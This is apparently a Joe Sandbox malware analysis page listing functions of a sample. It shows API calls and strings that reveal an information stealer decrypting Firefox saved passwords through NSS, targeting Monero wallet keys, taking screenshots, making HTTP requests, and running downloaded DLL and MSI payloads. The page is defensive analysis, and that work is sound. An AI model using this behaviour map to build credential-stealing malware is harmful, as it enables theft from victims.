Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5bc1f833d17ef7df4652fad09114a176394c48f1efd5864dfe466cbf86527bb
Instruction ID: 0b265a4c209248fa501904d5b0d922afb8fd51471967b34c8ef6a5c1b4fec2e4
Opcode Fuzzy Hash: f5bc1f833d17ef7df4652fad09114a176394c48f1efd5864dfe466cbf86527bb
Instruction Fuzzy Hash: 084138F3E185204BF7046929ED5937ABBD69FD4320F1B863EDA88A77C4D93948058286

Function 00563D7B Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3665a002bea2bda06cc48424e4cf5ff58c6afa979b40ddf3290f2d649a7ab38c
Instruction ID: 92304dc1e3cde27c703a45cc3b3f01a3a428976af2e4e5ac8fa535274daec37e
Opcode Fuzzy Hash: 3665a002bea2bda06cc48424e4cf5ff58c6afa979b40ddf3290f2d649a7ab38c
Instruction Fuzzy Hash: 8D3146B360C1105FF708A96DEC54B7AB7DAEBD4230F2B463DE685D3780E8B998018291

Function 001F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 001EC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 001EC9A5

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,011DCDB0,00000000,?,0020144C,00000000,?,?), ref: 001ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 001ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 001ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 001ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 001ECAD9
StrStrA.SHLWAPI(?,011DCDC8,00200B52), ref: 001ECAF7
StrStrA.SHLWAPI(00000000,011DCC30), ref: 001ECB1E
StrStrA.SHLWAPI(?,011DD118,00000000,?,00201458,00000000,?,00000000,00000000,?,011D8A10,00000000,?,00201454,00000000,?), ref: 001ECCA2
StrStrA.SHLWAPI(00000000,011DD338), ref: 001ECCB9

Part of subcall function 001EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001EC871
Part of subcall function 001EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001EC87C
Part of subcall function 001EC820: PK11_GetInternalKeySlot.NSS3 ref: 001EC88A
Part of subcall function 001EC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 001EC8A5
Part of subcall function 001EC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 001EC8EB
Part of subcall function 001EC820: PK11_FreeSlot.NSS3(?), ref: 001EC961

StrStrA.SHLWAPI(?,011DD338,00000000,?,0020145C,00000000,?,00000000,011D8A20), ref: 001ECD5A
StrStrA.SHLWAPI(00000000,011D8800), ref: 001ECD71

Part of subcall function 001EC820: lstrcat.KERNEL32(?,00200B46), ref: 001EC943
Part of subcall function 001EC820: lstrcat.KERNEL32(?,00200B47), ref: 001EC957
Part of subcall function 001EC820: lstrcat.KERNEL32(?,00200B4E), ref: 001EC978

lstrlen.KERNEL32(00000000), ref: 001ECE44
CloseHandle.KERNEL32(00000000), ref: 001ECE9C
NSS_Shutdown.NSS3 ref: 001ECEAA

Strings

, xrefs: 001EC9C6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: e725a6926914fe91392b46c76c71f860f11023955692397a7370597fc9b1253b
Instruction ID: cb3707e0cf5ec25cffd5ed09bfe344e65dc56fba089f6156a39e93affdf11c24
Opcode Fuzzy Hash: e725a6926914fe91392b46c76c71f860f11023955692397a7370597fc9b1253b
Instruction Fuzzy Hash: 4BE121B191010CABDB14EBA0DC95FFEB778BF24300F804169F60A67191DF746A5ACB66

Function 001F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 001F906C

Strings

image/jpeg, xrefs: 001F9136

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 757a9e425542ca0de5eb95c5dbd34911338083309b75f5bd92b8152a12784748
Instruction ID: 4ab16bf47ac298b7e67eb236eed68f77fe1d6da6b67996d7aea6888c1e9932ef
Opcode Fuzzy Hash: 757a9e425542ca0de5eb95c5dbd34911338083309b75f5bd92b8152a12784748
Instruction Fuzzy Hash: 1E71FF71A10208ABDB14EFE4DC89FEDB7B9BF88700F508518F615E7290DB74A905CB65

Function 001F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001F17C5
ExitProcess.KERNEL32 ref: 001F17D1

Strings

block, xrefs: 001F17B7

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 544ba5aa959eb30d271483b0596dfb38a7344ec4adc4f17bf8444e912efa6fba
Instruction ID: cc372143ef9ca26db36aa52b15562bb83c795b97df864cbce84bb8ea5beadfa6
Opcode Fuzzy Hash: 544ba5aa959eb30d271483b0596dfb38a7344ec4adc4f17bf8444e912efa6fba
Instruction Fuzzy Hash: 4B516DB4A1020EFBDB04DFA0D994BBE77B5BF44304F508058EA06A7241D7B0D952DBA6

Function 001F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

ShellExecuteEx.SHELL32(0000003C), ref: 001F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 001F335D
ShellExecuteEx.SHELL32(0000003C), ref: 001F34EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 001F3332
/passive, xrefs: 001F345B
.dll, xrefs: 001F31E5
C:\Windows\system32\msiexec.exe, xrefs: 001F34BF
"" , xrefs: 001F309A
/i ", xrefs: 001F33E4
.msi, xrefs: 001F3398
<, xrefs: 001F3490

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 1fc00598c42352fde1549e2ce3ce4b83b6aee523ebcf99ae222b5721c92cd478
Instruction ID: 045f29efdd3d556053ca6a8becb787b134201209049e380ac0ec33bfb5d4c45e
Opcode Fuzzy Hash: 1fc00598c42352fde1549e2ce3ce4b83b6aee523ebcf99ae222b5721c92cd478
Instruction Fuzzy Hash: D61212B181010C9ADB19FB90DC92FFDB778AF24340F944169F60A66195EF782B4ACF52

Function 001F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E6280: InternetOpenA.WININET(00200DFE,00000001,00000000,00000000,00000000), ref: 001E62E1
Part of subcall function 001E6280: StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E6303
Part of subcall function 001E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E6335
Part of subcall function 001E6280: HttpOpenRequestA.WININET(00000000,GET,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E6385
Part of subcall function 001E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001E63BF
Part of subcall function 001E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001E63D1

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001F5318
lstrlen.KERNEL32(00000000), ref: 001F532F

Part of subcall function 001F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 001F5364
lstrlen.KERNEL32(00000000), ref: 001F5383
lstrlen.KERNEL32(00000000), ref: 001F53AE

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Strings

ERROR, xrefs: 001F546F
ERROR, xrefs: 001F54A9
ERROR, xrefs: 001F530A
ERROR, xrefs: 001F53B9
ERROR, xrefs: 001F5432

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

